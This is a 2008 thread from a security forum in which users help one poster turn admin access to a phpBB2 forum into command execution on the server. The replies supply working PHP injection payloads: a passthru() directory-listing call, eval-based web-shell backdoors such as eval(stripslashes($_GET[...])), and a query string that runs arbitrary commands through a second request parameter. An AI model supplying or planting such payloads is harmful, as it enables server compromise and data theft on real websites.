 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 201
 Members: 0
 Total: 201
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Phpbb 2 shell from sql file |
|
 Posted: Thu Mar 27, 2008 11:13 pm |
 |
|
| Nial |
| Advanced user |
 |
|
| Joined: Feb 29, 2008 |
| Posts: 103 |
|
|
|
 |
|
 |
|
Hi all
I have access to the admin panel from a phpbb2 forum. I can get the phpinfo() with success but when i have to use quote in my commands like for
user_sig='phpbb:passthru("/var/www/vhosts/blablabla/httpdocs/blabla/")'
the profile page becomes blank. No matter what i try. Some clues? |
|
|
|
|
| Posted: Fri Mar 28, 2008 6:11 am |
|
|
| pexli |
| Valuable expert |
 |
|
| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
|
|
|
|
|
|
| passthru('ls -al /var/www/vhosts/blablabla/httpdocs/blabla/') |
|
|
|
|
| Posted: Thu Apr 03, 2008 11:56 am |
|
|
| theparadox |
| Regular user |
 |
|
| Joined: Mar 26, 2008 |
| Posts: 10 |
|
|
|
|
|
|
|
see phpinfo(). 99% passthru is in disabled functions.
A good choice is to put an eval() instead of exec() and other. |
|
|
|
|
| Posted: Thu Apr 03, 2008 12:30 pm |
|
|
| Nial |
| Advanced user |
|
|
| Joined: Feb 29, 2008 |
| Posts: 103 |
|
|
|
|
|
|
|
|
|
|
|
| Posted: Thu Apr 03, 2008 5:55 pm |
|
|
| Frigo |
| Regular user |
|
|
| Joined: Feb 10, 2008 |
| Posts: 13 |
| Location: European Union |
|
|
|
|
|
|
Without quotes?
Well, what about eval(stripslashes($_GET[yourcommandmymaster])) ? |
|
|
|
|
| Posted: Thu Apr 03, 2008 7:19 pm |
|
|
| theparadox |
| Regular user |
|
|
| Joined: Mar 26, 2008 |
| Posts: 10 |
|
|
|
|
|
|
|
| Frigo wrote: | Without quotes?
Well, what about eval(stripslashes($_GET[yourcommandmymaster])) ? |
eval($_REQUEST[var]); is exactly the same.
In case of mq = 1 you may do | Quote: | | page.php?var=eval(stripslashes($_REQUEST[var2]));&var2=[CMD] |
|
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
